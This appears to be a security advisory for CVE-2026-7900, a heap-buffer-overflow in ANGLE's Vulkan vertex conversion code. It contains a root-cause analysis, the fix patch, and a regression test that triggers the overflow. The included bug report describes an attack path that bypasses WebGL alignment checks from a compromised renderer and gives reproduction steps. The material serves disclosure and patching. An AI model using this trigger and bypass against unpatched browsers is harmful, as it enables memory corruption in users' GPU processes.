CVE-2026-7900
Overview
Background
- `VertexArrayVk::convertVertexBufferCPU`
- the ANGLE Vulkan-backend routine that, when a vertex format cannot be used directly by the GPU, converts vertex attribute data on the CPU into a newly allocated conversion buffer.
- `StreamVertexData`
- the helper that reads source vertices (via a
vertexLoadFunctionandsrcStride) and writes the converted result into the conversion buffer atdstOffset. - `numVertices` vs. `maxNumVertices`
maxNumVerticesis the full capacity of the attribute/conversion buffer, whilenumVerticesis the smaller count of vertices actually covered by the current dirty sub-range computed byCalculateOffsetAndVertexCountForDirtyRange.- Dirty-range partial update
- when only part of a vertex buffer changes (e.g. via
glBufferSubData), ANGLE converts just that sub-range rather than the whole buffer.
Root Cause Analysis
When converting only a dirty sub-range, convertVertexBufferCPU computed the number of bytes to copy as bytesToCopy = maxNumVertices * dstFormat.pixelBytes and passed maxNumVertices as the vertex count to StreamVertexData, even though CalculateOffsetAndVertexCountForDirtyRange had just produced the smaller numVertices and a srcOffset into the source. For a partial update near the end of the buffer, srcBytes = src + srcOffset is advanced well into the buffer, yet the code still streamed a full maxNumVertices worth of vertices from that advanced pointer, reading past the end of the source data and writing/streaming more than the sub-range should — a heap-buffer-overflow, as the commit states it “streams more data than buffer it allocates.” The invariant violated is that the amount copied must match the dirty sub-range’s own vertex count and extent, not the full buffer capacity.
The fix recomputes bytesToCopy = numVertices * dstFormat.pixelBytes and passes numVertices to StreamVertexData, and adds ASSERT(numVertices <= maxNumVertices) to enforce the relationship. The regression test BufferDataTest.UnalignedVertexAttribPointer uses an 8MB buffer with an unaligned stride/offset and a glBufferSubData near the end to reach this CPU-conversion path and expose the overflow.
maxNumVertices while processing only a dirty sub-range starting at srcOffset; the fix uses the sub-range’s actual numVertices for both bytesToCopy and the StreamVertexData count.Attack Path
- Allocate a large vertex buffer The client creates a buffer big enough to force the non-sub-allocation CPU-conversion path (the test uses 8MB).
- Force CPU conversion with unaligned geometry
It configures
glVertexAttribPointerwith an unalignedstride/offset, which cannot be fed to the GPU directly and routes throughconvertVertexBufferCPU. - Establish the conversion buffer
A first draw builds the conversion buffer sized for the data, and
glFinishprevents reallocation. - Dirty a sub-range near the end
A
glBufferSubDatanear the buffer’s end (large enough to defeat the dirty-range short-circuit) creates a dirty range with a nonzerosrcOffsetand smallnumVertices. - Overflow on redraw
The next draw re-enters
convertVertexBufferCPU, which pre-patch copiesmaxNumVertices * pixelBytesfromsrc + srcOffset, reading beyond the source and overflowing the heap during streaming (the heap-buffer-overflow the test triggers).
Impact Assessment
Files Changed
src/libANGLE/renderer/vulkan/VertexArrayVk.cppsrc/tests/angle_end2end_tests_expectations.txtsrc/tests/gl_tests/BufferDataTest.cpp
Audit Directions
- Capacity vs. active-count mismatchesFlag any copy where the length is derived from a buffer’s full capacity (
max*) while the loop/offset is driven by a smaller active or dirty count. - Dirty-range / partial-update pathsAudit conversion and streaming routines that handle sub-ranges, verifying the byte count and element count both use the sub-range’s values alongside its
srcOffset. - Unaligned-attribute CPU fallbacksReview other backend CPU-conversion fallbacks (
VertexArray*, index/vertex streaming) reached by unaligned stride/offset for similar size-vs-offset inconsistencies.
Patch
From a96c6e3e7e3abb396109be762c06c2b2784fbde7 Mon Sep 17 00:00:00 2001 From: Charlie Lao <[email protected]> Date: Mon, 30 Mar 2026 12:01:45 -0700 Subject: [PATCH] Vulkan: Fix heap-buffer-overflow in convertVertexBufferCPU There was a bug in vulkan backend VertexArrayVk::convertVertexBufferCPU() that it streams more data than buffer it allocates. A test has been added to expose the heap-buffer-overflow bug. The bug is also fixed in the CL. Bug: b/496503799 Change-Id: I79f8619699a9c82ea7d35e4849edfb91866c3623 Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7712217 Reviewed-by: Amirali Abdolrashidi <[email protected]> Reviewed-by: Shahbaz Youssefi <[email protected]> Commit-Queue: Charlie Lao <[email protected]> --- diff --git a/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp b/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp index c23d424..fe9cc5a 100644 --- a/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp +++ b/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp @@ -855,17 +855,21 @@ continue; } + // Use numVertices instead of maxNumVertices to calculate bytesToCopy to avoid buffer + // overrun. uint32_t srcOffset, dstOffset, numVertices; CalculateOffsetAndVertexCountForDirtyRange(srcBuffer, conversion, srcFormat, dstFormat, dirtyRange, &srcOffset, &dstOffset, &numVertices); + ASSERT(numVertices <= maxNumVertices); if (numVertices > 0) { const uint8_t *srcBytes = src + srcOffset; - size_t bytesToCopy = maxNumVertices * dstFormat.pixelBytes; + + size_t bytesToCopy = numVertices * dstFormat.pixelBytes; ANGLE_TRY(StreamVertexData(contextVk, conversion->getBuffer(), srcBytes, - bytesToCopy, dstOffset, maxNumVertices, srcStride, + bytesToCopy, dstOffset, numVertices, srcStride, vertexLoadFunction)); } } diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt index 09f5279..61f2e99 100644 --- a/src/tests/angle_end2end_tests_expectations.txt +++ b/src/tests/angle_end2end_tests_expectations.txt @@ -2651,6 +2651,8 @@ // WebGPU does not support BGRA 42267264 WGPU : ClearTest.*BGRA* = SKIP +// WebGPU error BufferOffset (5242862) is not a multiple of 4. +496503799 WGPU : BufferDataTest.UnalignedVertexAttribPointer/* = SKIP // Fails on Mac & OpenGL & NVIDIA 406807990 MAC NVIDIA OPENGL : TextureUploadFormatTest_ES3.AllWithPBO/* = SKIP diff --git a/src/tests/gl_tests/BufferDataTest.cpp b/src/tests/gl_tests/BufferDataTest.cpp index 97a8fba..45a3fc6 100644 --- a/src/tests/gl_tests/BufferDataTest.cpp +++ b/src/tests/gl_tests/BufferDataTest.cpp @@ -1376,6 +1376,67 @@ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan); } +// Tests unaligned vertex attribute pointer, which should get to convertVertexBufferCPU in vulkan +// backend. +TEST_P(BufferDataTest, UnalignedVertexAttribPointer) +{ + ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), essl1_shaders::fs::UniformColor()); + glUseProgram(program); + + GLint positionLocation = glGetAttribLocation(program, essl1_shaders::PositionAttrib()); + ASSERT_NE(positionLocation, -1); + glEnableVertexAttribArray(positionLocation); + + GLint colorUniformLocation = + glGetUniformLocation(program, angle::essl1_shaders::ColorUniform()); + ASSERT_NE(colorUniformLocation, -1); + + // Allocate 8MB buffer to force non sub-allocation path + constexpr GLsizeiptr kBufferSize = 8 * 1024 * 1024; + std::vector<uint8_t> initialData(kBufferSize, 0); + + GLBuffer positionBuffer; + glBindBuffer(GL_ARRAY_BUFFER, positionBuffer); + glBufferData(GL_ARRAY_BUFFER, kBufferSize, initialData.data(), GL_DYNAMIC_DRAW); + + // Trigger CPU downgrade conversion with unaligned stride/offset + const GLsizei stride = 13; + const GLintptr offset = 1; + const GLint components = 3; + const GLsizei typeSize = sizeof(GLfloat); + const GLsizei elementSize = components * typeSize; // 12 + + // Calculate vertexCount equivalent to Math.floor in JS + GLsizei vertexCount = (kBufferSize - offset - elementSize) / stride + 1; + GLsizei quadVertexCount = (vertexCount / 6) * 6; + GLsizei firstVertex = vertexCount - quadVertexCount; + + glVertexAttribPointer(positionLocation, components, GL_FLOAT, GL_FALSE, stride, + reinterpret_cast<const void *>(offset)); + + // First draw: establishes the conversion buffer + glDrawArrays(GL_TRIANGLES, firstVertex, quadVertexCount); + // CRITICAL: glFinish() forces GPU pipeline flush, preventing buffer reallocation + glFinish(); + + // SubData near the end - must be >= 12 bytes to break ANGLE's dirty-range short-circuit + const std::array<Vector3, 6> &quadVertices = GetQuadVertices(); + std::vector<uint8_t> updateData(stride * 6); + for (int vertexIndex = 0; vertexIndex < 6; vertexIndex++) + { + memcpy(updateData.data() + stride * vertexIndex, quadVertices[vertexIndex].data(), + quadVertices[vertexIndex].size() * sizeof(float)); + } + GLintptr lastQuadVertexStartPtr = offset + (vertexCount - 6) * stride; + glBufferSubData(GL_ARRAY_BUFFER, lastQuadVertexStartPtr, updateData.size(), updateData.data()); + + // Draw green quad. This should trigger partial update but should not access out of bounds + glClear(GL_COLOR_BUFFER_BIT); + glUniform4fv(colorUniformLocation, 1, &kFloatGreen.R); + glDrawArrays(GL_TRIANGLES, firstVertex, quadVertexCount); + EXPECT_PIXEL_RECT_EQ(0, 0, getWindowWidth(), getWindowHeight(), GLColor::green); +} + // Verify that previous draws are not affected when a buffer is respecified with null data // and updated by calling map. TEST_P(BufferDataTestES3, BufferDataWithNullFollowedByMap)
Regression Test / PoC
diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt
index 09f5279..61f2e99 100644
--- a/src/tests/angle_end2end_tests_expectations.txt
+++ b/src/tests/angle_end2end_tests_expectations.txt
@@ -2651,6 +2651,8 @@
// WebGPU does not support BGRA
42267264 WGPU : ClearTest.*BGRA* = SKIP
+// WebGPU error BufferOffset (5242862) is not a multiple of 4.
+496503799 WGPU : BufferDataTest.UnalignedVertexAttribPointer/* = SKIP
// Fails on Mac & OpenGL & NVIDIA
406807990 MAC NVIDIA OPENGL : TextureUploadFormatTest_ES3.AllWithPBO/* = SKIP
diff --git a/src/tests/gl_tests/BufferDataTest.cpp b/src/tests/gl_tests/BufferDataTest.cpp
index 97a8fba..45a3fc6 100644
--- a/src/tests/gl_tests/BufferDataTest.cpp
+++ b/src/tests/gl_tests/BufferDataTest.cpp
@@ -1376,6 +1376,67 @@
EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan);
}
+// Tests unaligned vertex attribute pointer, which should get to convertVertexBufferCPU in vulkan
+// backend.
+TEST_P(BufferDataTest, UnalignedVertexAttribPointer)
+{
+ ANGLE_GL_PROGRAM(program, essl1_shaders::vs::Simple(), essl1_shaders::fs::UniformColor());
+ glUseProgram(program);
+
+ GLint positionLocation = glGetAttribLocation(program, essl1_shaders::PositionAttrib());
+ ASSERT_NE(positionLocation, -1);
+ glEnableVertexAttribArray(positionLocation);
+
+ GLint colorUniformLocation =
+ glGetUniformLocation(program, angle::essl1_shaders::ColorUniform());
+ ASSERT_NE(colorUniformLocation, -1);
+
+ // Allocate 8MB buffer to force non sub-allocation path
+ constexpr GLsizeiptr kBufferSize = 8 * 1024 * 1024;
+ std::vector<uint8_t> initialData(kBufferSize, 0);
+
+ GLBuffer positionBuffer;
+ glBindBuffer(GL_ARRAY_BUFFER, positionBuffer);
+ glBufferData(GL_ARRAY_BUFFER, kBufferSize, initialData.data(), GL_DYNAMIC_DRAW);
+
+ // Trigger CPU downgrade conversion with unaligned stride/offset
+ const GLsizei stride = 13;
+ const GLintptr offset = 1;
+ const GLint components = 3;
+ const GLsizei typeSize = sizeof(GLfloat);
+ const GLsizei elementSize = components * typeSize; // 12
+
+ // Calculate vertexCount equivalent to Math.floor in JS
+ GLsizei vertexCount = (kBufferSize - offset - elementSize) / stride + 1;
+ GLsizei quadVertexCount = (vertexCount / 6) * 6;
+ GLsizei firstVertex = vertexCount - quadVertexCount;
+
+ glVertexAttribPointer(positionLocation, components, GL_FLOAT, GL_FALSE, stride,
+ reinterpret_cast<const void *>(offset));
+
+ // First draw: establishes the conversion buffer
+ glDrawArrays(GL_TRIANGLES, firstVertex, quadVertexCount);
+ // CRITICAL: glFinish() forces GPU pipeline flush, preventing buffer reallocation
+ glFinish();
+
+ // SubData near the end - must be >= 12 bytes to break ANGLE's dirty-range short-circuit
+ const std::array<Vector3, 6> &quadVertices = GetQuadVertices();
+ std::vector<uint8_t> updateData(stride * 6);
+ for (int vertexIndex = 0; vertexIndex < 6; vertexIndex++)
+ {
+ memcpy(updateData.data() + stride * vertexIndex, quadVertices[vertexIndex].data(),
+ quadVertices[vertexIndex].size() * sizeof(float));
+ }
+ GLintptr lastQuadVertexStartPtr = offset + (vertexCount - 6) * stride;
+ glBufferSubData(GL_ARRAY_BUFFER, lastQuadVertexStartPtr, updateData.size(), updateData.data());
+
+ // Draw green quad. This should trigger partial update but should not access out of bounds
+ glClear(GL_COLOR_BUFFER_BIT);
+ glUniform4fv(colorUniformLocation, 1, &kFloatGreen.R);
+ glDrawArrays(GL_TRIANGLES, firstVertex, quadVertexCount);
+ EXPECT_PIXEL_RECT_EQ(0, 0, getWindowWidth(), getWindowHeight(), GLColor::green);
+}
+
// Verify that previous draws are not affected when a buffer is respecified with null data
// and updated by calling map.
TEST_P(BufferDataTestES3, BufferDataWithNullFollowedByMap)
Original Bug Report
heap-buffer-overflow in ANGLE VertexArrayVk::convertVertexBufferCPU
VULNERABILITY DETAILS
A heap-buffer-overflow exists in the ANGLE Vulkan backend’s CPU-side vertex format conversion path. When a partial buffer update (via bufferSubData) dirties only a small range of a large vertex buffer, the subsequent convertVertexBufferCPU function computes the copy length using the total buffer capacity instead of the dirty range size, causing an out-of-bounds write into the conversion buffer.
In convertVertexBufferCPU, when the conversion buffer is not entirely dirty, the function iterates over dirty ranges [0]:
const std::vector<RangeDeviceSize> &dirtyRanges = conversion->getDirtyBufferRanges();
for (const RangeDeviceSize &dirtyRange : dirtyRanges) // [0]
{
if (dirtyRange.empty())
{
// consolidateDirtyRanges may end up with invalid range if it gets merged.
continue;
}
uint32_t srcOffset, dstOffset, numVertices;
CalculateOffsetAndVertexCountForDirtyRange(srcBuffer, conversion, srcFormat, dstFormat,
dirtyRange, &srcOffset, &dstOffset,
&numVertices);
if (numVertices > 0)
{
const uint8_t *srcBytes = src + srcOffset;
size_t bytesToCopy = maxNumVertices * dstFormat.pixelBytes; // [1]
ANGLE_TRY(StreamVertexData(contextVk, conversion->getBuffer(), srcBytes, // [2]
bytesToCopy, dstOffset, maxNumVertices, srcStride,
vertexLoadFunction));
}
}
CalculateOffsetAndVertexCountForDirtyRange computes dstOffset based on where the dirty range begins within the buffer — when the dirty range is near the end of the buffer, dstOffset points near the end of the conversion buffer.
However, bytesToCopy at [1] is computed from maxNumVertices, which represents the total vertex count derived from the entire buffer capacity. The conversion buffer is allocated with exactly maxNumVertices * dstFormat.pixelBytes bytes. When StreamVertexData is called at [2], vertexLoadFunction copies maxNumVertices vertices starting from dstOffset into the conversion buffer, writing far past the buffer’s end.
StreamVertexData writes directly to the destination buffer at the given offset [3]:
uint8_t *dst = dstBufferHelper->getMappedMemory() + dstOffset;
if (vertexLoadFunction != nullptr)
{
vertexLoadFunction(srcData, srcStride, vertexCount, dst); // [3]
}
The conversion buffer is allocated with maxNumVertices * dstStride bytes via CalculateMaxVertexCountForConversion [4]:
ANGLE_TRY(contextVk->initBufferForVertexConversion(conversion, maxNumVertices * dstStride, // [4]
hostVisible));
So when dstOffset is near the end and the copy length equals the full buffer size, the write overflows the conversion buffer heap allocation.
To reach the vulnerable CPU conversion path, the vertex attribute stride or offset must be unaligned with the format’s component size, causing bindingIsAligned to evaluate to false. This triggers the CPU fallback path in syncNeedsConversionAttrib [5]:
if (bindingIsAligned)
{
ANGLE_TRY(
convertVertexBufferGPU(contextVk, bufferVk, conversion, srcFormat, dstFormat));
}
else
{
ANGLE_VK_PERF_WARNING(contextVk, GL_DEBUG_SEVERITY_HIGH,
"GPU stall due to vertex format conversion of unaligned data");
ANGLE_TRY(convertVertexBufferCPU(contextVk, bufferVk, conversion, srcFormat, dstFormat, // [5]
vertexFormat.getVertexLoadFunction()));
}
WebGL contexts enforce stride/offset alignment via ValidateWebGLVertexAttribPointer, blocking this path. However, a compromised renderer can request an OPENGLES2 context type instead of CONTEXT_TYPE_WEBGL1/2 when creating the GPU command buffer — CONTEXT_TYPE_OPENGLES2 is a legitimate context type that is fully supported by the IPC serialization layer and GPU service. With isWebGL() returning false, the alignment validation is bypassed, and unaligned stride/offset values reach the Vulkan backend.
BISECTION
Introduced by ANGLE commit [0] which added fine-grained dirty range tracking for vertex buffer conversion but incorrectly used the full-buffer vertex count (maxNumVertices) instead of the dirty-range vertex count (numVertices) when computing the copy size.
This was rolled into Chromium in commit [1].
[0] https://chromium.googlesource.com/angle/angle/+/53476d6ff2740267db0c0573644378621c4e7d78
[1] https://chromium.googlesource.com/chromium/src/+/2580fab69bf8f219b97a3e812122dca566c525e0
VERSION
Chrome Version: HEAD
Operating System: Linux
REPRODUCTION CASE
This vulnerability requires a compromised renderer. The attached renderer.patch modifies the renderer process to request CONTEXT_TYPE_OPENGLES2 instead of WebGL context types, bypassing WebGL alignment checks.
- Apply the renderer patch and build Chromium with ASan.
- Host
poc.htmlon an HTTP server. - Run Chrome against the PoC.
$ git apply renderer.patch && autoninja -C out/asan chrome
$ python3 -m http.server
$ ./out/asan/chrome --use-angle=vulkan "http://localhost:8000/poc.html"
CRASH INFORMATION
Type of crash: GPU process
Crash log: see the attached asan.txt ASan trace.
CREDIT INFORMATION
Reporter credit: Anonymous
- http://localhost:8000/poc.html
- https://chromium.googlesource.com/angle/angle/+/53476d6ff2740267db0c0573644378621c4e7d78
- https://chromium.googlesource.com/chromium/src/+/2580fab69bf8f219b97a3e812122dca566c525e0
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=1323
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=236
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=370
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=850
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=866
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/angle/src/libANGLE/renderer/vulkan/VertexArrayVk.cpp;drc=216f1f0264f2b729c45c6aa7a038dc592c4551cc;l=867